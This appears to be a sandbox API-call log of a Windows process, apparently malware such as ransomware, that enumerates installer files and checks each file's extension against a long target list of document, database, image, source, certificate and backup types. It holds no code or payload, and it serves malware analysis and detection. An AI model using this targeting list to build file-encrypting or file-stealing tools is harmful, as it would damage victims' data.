[0100.278] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0100.278] lstrlenW (lpString=".jp2") returned 4 [0100.278] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0100.278] lstrlenW (lpString=".jpc") returned 4 [0100.278] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0100.278] lstrlenW (lpString=".jpe") returned 4 [0100.278] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0100.278] lstrlenW (lpString=".jpeg") returned 5 [0100.278] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0100.278] lstrlenW (lpString=".jpf") returned 4 [0100.278] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0100.278] lstrlenW (lpString=".jpg") returned 4 [0100.278] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.278] lstrlenW (lpString=".jpx") returned 4 [0100.278] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0100.278] lstrlenW (lpString=".js") returned 3 [0100.278] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0100.278] lstrlenW (lpString=".jsf") returned 4 [0100.278] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0100.278] lstrlenW (lpString=".json") returned 5 [0100.278] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0100.278] lstrlenW (lpString=".jsp") returned 4 [0100.278] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0100.278] lstrlenW (lpString=".kdc") returned 4 [0100.278] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0100.278] lstrlenW (lpString=".kmz") returned 4 [0100.278] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0100.278] lstrlenW (lpString=".kwm") returned 4 [0100.279] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".lasso") returned 6 [0100.279] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0100.279] lstrlenW (lpString=".lbi") returned 4 [0100.279] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".lgf") returned 4 [0100.279] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".lgp") returned 4 [0100.279] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".log") returned 4 [0100.279] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".m1v") returned 4 [0100.279] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".m4a") returned 4 [0100.279] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".m4v") returned 4 [0100.279] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".max") returned 4 [0100.279] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".md") returned 3 [0100.279] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0100.279] lstrlenW (lpString=".mda") returned 4 [0100.279] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".mdb") returned 4 [0100.279] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".mde") returned 4 [0100.279] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0100.279] lstrlenW (lpString=".mdf") returned 4 [0100.280] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mdw") returned 4 [0100.280] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mef") returned 4 [0100.280] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mft") returned 4 [0100.280] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mfw") returned 4 [0100.280] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mht") returned 4 [0100.280] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mhtml") returned 6 [0100.280] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0100.280] lstrlenW (lpString=".mka") returned 4 [0100.280] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mkidx") returned 6 [0100.280] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0100.280] lstrlenW (lpString=".mkv") returned 4 [0100.280] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mos") returned 4 [0100.280] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mov") returned 4 [0100.280] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mp3") returned 4 [0100.280] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0100.280] lstrlenW (lpString=".mp4") returned 4 [0100.280] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".mpeg") returned 5 [0100.281] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0100.281] lstrlenW (lpString=".mpg") returned 4 [0100.281] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".mpv") returned 4 [0100.281] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".mrw") returned 4 [0100.281] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".msg") returned 4 [0100.281] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".mxl") returned 4 [0100.281] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".myd") returned 4 [0100.281] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".myi") returned 4 [0100.281] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".nef") returned 4 [0100.281] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".nrw") returned 4 [0100.281] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".obj") returned 4 [0100.281] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".odb") returned 4 [0100.281] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".odc") returned 4 [0100.281] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0100.281] lstrlenW (lpString=".odm") returned 4 [0100.281] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".odp") returned 4 [0100.282] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".ods") returned 4 [0100.282] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".oft") returned 4 [0100.282] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".one") returned 4 [0100.282] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".onepkg") returned 7 [0100.282] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0100.282] lstrlenW (lpString=".onetoc2") returned 8 [0100.282] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0100.282] lstrlenW (lpString=".opt") returned 4 [0100.282] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".oqy") returned 4 [0100.282] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".orf") returned 4 [0100.282] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".p12") returned 4 [0100.282] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".p7b") returned 4 [0100.282] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".p7c") returned 4 [0100.282] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".pam") returned 4 [0100.282] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0100.282] lstrlenW (lpString=".pbm") returned 4 [0100.283] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pct") returned 4 [0100.283] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pcx") returned 4 [0100.283] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pdd") returned 4 [0100.283] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pdf") returned 4 [0100.283] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pdp") returned 4 [0100.283] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pef") returned 4 [0100.283] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pem") returned 4 [0100.283] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pff") returned 4 [0100.283] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pfm") returned 4 [0100.283] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pfx") returned 4 [0100.283] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".pgm") returned 4 [0100.283] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".php") returned 4 [0100.283] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0100.283] lstrlenW (lpString=".php3") returned 5 [0100.283] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0100.284] lstrlenW (lpString=".php4") returned 5 [0100.284] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0100.284] lstrlenW (lpString=".php5") returned 5 [0100.284] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0100.284] lstrlenW (lpString=".phtml") returned 6 [0100.284] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0100.284] lstrlenW (lpString=".pict") returned 5 [0100.284] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0100.284] lstrlenW (lpString=".pl") returned 3 [0100.284] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0100.284] lstrlenW (lpString=".pls") returned 4 [0100.284] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0100.284] lstrlenW (lpString=".pm") returned 3 [0100.284] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0100.284] lstrlenW (lpString=".png") returned 4 [0100.284] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0100.284] lstrlenW (lpString=".pnm") returned 4 [0100.284] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0100.284] lstrlenW (lpString=".pot") returned 4 [0100.284] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0100.284] lstrlenW (lpString=".potm") returned 5 [0100.284] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0100.284] lstrlenW (lpString=".potx") returned 5 [0100.284] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0100.284] lstrlenW (lpString=".ppa") returned 4 [0100.284] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0100.284] lstrlenW (lpString=".ppam") returned 5 [0100.284] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0100.285] lstrlenW (lpString=".ppm") returned 4 [0100.285] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0100.285] lstrlenW (lpString=".pps") returned 4 [0100.285] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0100.285] lstrlenW (lpString=".ppsm") returned 5 [0100.285] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0100.285] lstrlenW (lpString=".ppt") returned 4 [0100.285] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.285] lstrlenW (lpString=".pptm") returned 5 [0100.285] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0100.285] lstrlenW (lpString=".pptx") returned 5 [0100.285] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0100.285] lstrlenW (lpString=".prn") returned 4 [0100.285] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0100.285] lstrlenW (lpString=".ps") returned 3 [0100.285] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0100.285] lstrlenW (lpString=".psb") returned 4 [0100.285] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0100.285] lstrlenW (lpString=".psd") returned 4 [0100.285] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0100.285] lstrlenW (lpString=".pst") returned 4 [0100.285] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0100.285] lstrlenW (lpString=".ptx") returned 4 [0100.285] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0100.285] lstrlenW (lpString=".pub") returned 4 [0100.285] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0100.285] lstrlenW (lpString=".pwm") returned 4 [0100.286] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0100.286] lstrlenW (lpString=".pxr") returned 4 [0100.286] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0100.286] lstrlenW (lpString=".py") returned 3 [0100.286] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0100.286] lstrlenW (lpString=".qt") returned 3 [0100.286] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0100.286] lstrlenW (lpString=".r3d") returned 4 [0100.286] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0100.286] lstrlenW (lpString=".raf") returned 4 [0100.286] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0100.286] lstrlenW (lpString=".rar") returned 4 [0100.286] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.286] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.286] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.286] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.287] FindClose (in: hFindFile=0x3e502c0 | out: hFindFile=0x3e502c0) returned 1 [0100.287] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.287] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0100.287] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049") returned 26 [0100.287] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50400 [0100.288] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.288] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.288] lstrlenW (lpString="eula.rtf") returned 8 [0100.288] lstrlenW (lpString=".1cd") returned 4 [0100.288] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.288] lstrlenW (lpString=".3ds") returned 4 [0100.288] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0100.288] lstrlenW (lpString=".3fr") returned 4 [0100.288] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0100.288] lstrlenW (lpString=".3g2") returned 4 [0100.288] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0100.288] lstrlenW (lpString=".3gp") returned 4 [0100.288] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0100.288] lstrlenW (lpString=".7z") returned 3 [0100.288] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.288] lstrlenW (lpString=".accda") returned 6 [0100.288] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0100.288] lstrlenW (lpString=".accdb") returned 6 [0100.288] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0100.288] lstrlenW (lpString=".accdc") returned 6 [0100.288] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0100.288] lstrlenW (lpString=".accde") returned 6 [0100.289] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0100.289] lstrlenW (lpString=".accdt") returned 6 [0100.289] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0100.289] lstrlenW (lpString=".accdw") returned 6 [0100.289] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0100.289] lstrlenW (lpString=".adb") returned 4 [0100.289] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0100.289] lstrlenW (lpString=".adp") returned 4 [0100.289] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0100.289] lstrlenW (lpString=".ai") returned 3 [0100.289] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0100.289] lstrlenW (lpString=".ai3") returned 4 [0100.289] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0100.289] lstrlenW (lpString=".ai4") returned 4 [0100.289] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0100.289] lstrlenW (lpString=".ai5") returned 4 [0100.289] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0100.289] lstrlenW (lpString=".ai6") returned 4 [0100.289] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0100.289] lstrlenW (lpString=".ai7") returned 4 [0100.289] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0100.289] lstrlenW (lpString=".ai8") returned 4 [0100.289] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0100.289] lstrlenW (lpString=".anim") returned 5 [0100.289] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0100.289] lstrlenW (lpString=".arw") returned 4 [0100.289] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0100.290] lstrlenW (lpString=".as") returned 3 [0100.290] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0100.290] lstrlenW (lpString=".asa") returned 4 [0100.290] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0100.290] lstrlenW (lpString=".asc") returned 4 [0100.290] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0100.290] lstrlenW (lpString=".ascx") returned 5 [0100.290] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0100.290] lstrlenW (lpString=".asm") returned 4 [0100.290] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0100.290] lstrlenW (lpString=".asmx") returned 5 [0100.290] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0100.290] lstrlenW (lpString=".asp") returned 4 [0100.290] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0100.290] lstrlenW (lpString=".aspx") returned 5 [0100.290] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0100.290] lstrlenW (lpString=".asr") returned 4 [0100.290] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0100.290] lstrlenW (lpString=".asx") returned 4 [0100.290] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0100.290] lstrlenW (lpString=".avi") returned 4 [0100.290] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0100.290] lstrlenW (lpString=".avs") returned 4 [0100.290] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0100.290] lstrlenW (lpString=".backup") returned 7 [0100.290] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0100.290] lstrlenW (lpString=".bak") returned 4 [0100.291] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0100.291] lstrlenW (lpString=".bay") returned 4 [0100.291] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0100.291] lstrlenW (lpString=".bd") returned 3 [0100.291] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0100.291] lstrlenW (lpString=".bin") returned 4 [0100.291] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0100.291] lstrlenW (lpString=".bmp") returned 4 [0100.291] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0100.291] lstrlenW (lpString=".bz2") returned 4 [0100.291] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.291] lstrlenW (lpString=".c") returned 2 [0100.291] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0100.291] lstrlenW (lpString=".cdr") returned 4 [0100.291] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0100.291] lstrlenW (lpString=".cer") returned 4 [0100.291] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0100.292] lstrlenW (lpString=".cf") returned 3 [0100.292] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0100.292] lstrlenW (lpString=".cfc") returned 4 [0100.292] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0100.292] lstrlenW (lpString=".cfm") returned 4 [0100.292] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0100.292] lstrlenW (lpString=".cfml") returned 5 [0100.292] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0100.292] lstrlenW (lpString=".cfu") returned 4 [0100.292] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0100.292] lstrlenW (lpString=".chm") returned 4 [0100.292] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0100.292] lstrlenW (lpString=".cin") returned 4 [0100.292] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0100.292] lstrlenW (lpString=".class") returned 6 [0100.292] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0100.292] lstrlenW (lpString=".clx") returned 4 [0100.292] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0100.292] lstrlenW (lpString=".config") returned 7 [0100.292] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0100.292] lstrlenW (lpString=".cpp") returned 4 [0100.292] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0100.292] lstrlenW (lpString=".cr2") returned 4 [0100.292] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0100.292] lstrlenW (lpString=".crt") returned 4 [0100.292] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0100.292] lstrlenW (lpString=".crw") returned 4 [0100.293] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".cs") returned 3 [0100.293] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0100.293] lstrlenW (lpString=".css") returned 4 [0100.293] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".csv") returned 4 [0100.293] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".cub") returned 4 [0100.293] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".dae") returned 4 [0100.293] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".dat") returned 4 [0100.293] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".db") returned 3 [0100.293] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0100.293] lstrlenW (lpString=".dbf") returned 4 [0100.293] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".dbx") returned 4 [0100.293] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".dc3") returned 4 [0100.293] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".dcm") returned 4 [0100.293] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".dcr") returned 4 [0100.293] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".der") returned 4 [0100.293] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0100.293] lstrlenW (lpString=".dib") returned 4 [0100.294] 